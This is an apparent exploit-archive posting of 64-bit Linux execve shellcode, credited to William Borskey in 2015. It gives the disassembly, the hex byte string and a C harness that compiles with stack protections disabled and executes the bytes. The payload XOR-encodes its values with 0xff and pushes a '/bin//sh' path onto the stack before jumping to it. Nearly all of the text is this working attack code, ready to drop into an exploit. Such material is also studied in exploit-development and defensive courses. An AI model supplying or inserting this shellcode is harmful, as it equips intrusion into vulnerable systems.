Linux 64 bit - Encoded execve shellcode

/*
Compile with: gcc -fno-stack-protector -z execstack
This execve shellcode is encoded with 0xff and is for 64 bit linux.
 
shell:     file format elf64-x86-64
 
 
Disassembly of section .text:
 
0000000000400080 <start>:
  400080:   48 b9 ff ff ff ff ff    movabs rcx,0xffffffffffffffff
  400087:   ff ff ff
  40008a:   49 b8 ae b7 72 c3 db    movabs r8,0xfffaf0dbc372b7ae
  400091:   f0 fa ff
  400094:   49 31 c8                xor    r8,rcx
  400097:   41 50                   push   r8
  400099:   49 b8 d0 9d 96 91 d0    movabs r8,0x978cd0d091969dd0
  4000a0:   d0 8c 97
  4000a3:   49 31 c8                xor    r8,rcx
  4000a6:   41 50                   push   r8
  4000a8:   49 b8 b7 ce 2d ad 4f    movabs r8,0x46b7c44fad2dceb7
  4000af:   c4 b7 46
  4000b2:   49 31 c8                xor    r8,rcx
  4000b5:   41 50                   push   r8
  4000b7:   ff e4                   jmp    rsp
 
2015 William Borskey
 
*/
char shellcode[] = "\x48\xb9\xff\xff\xff\xff\xff\xff\xff\xff\x49\xb8\xae\xb7\x72\xc3\xdb\xf0\xfa\xff\x49\x31\xc8\x41\x50\x49\xb8\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\x49\x31\xc8\x41\x50\x49\xb8\xb7\xce\x2d\xad\x4f\xc4\xb7\x46\x49\x31\xc8\x41\x50\xff\xe4";
 
int main(int argc, char **argv)
{
    int (*func)();
    func = (int (*)()) shellcode;
    (int)(*func)();
     return 0;
}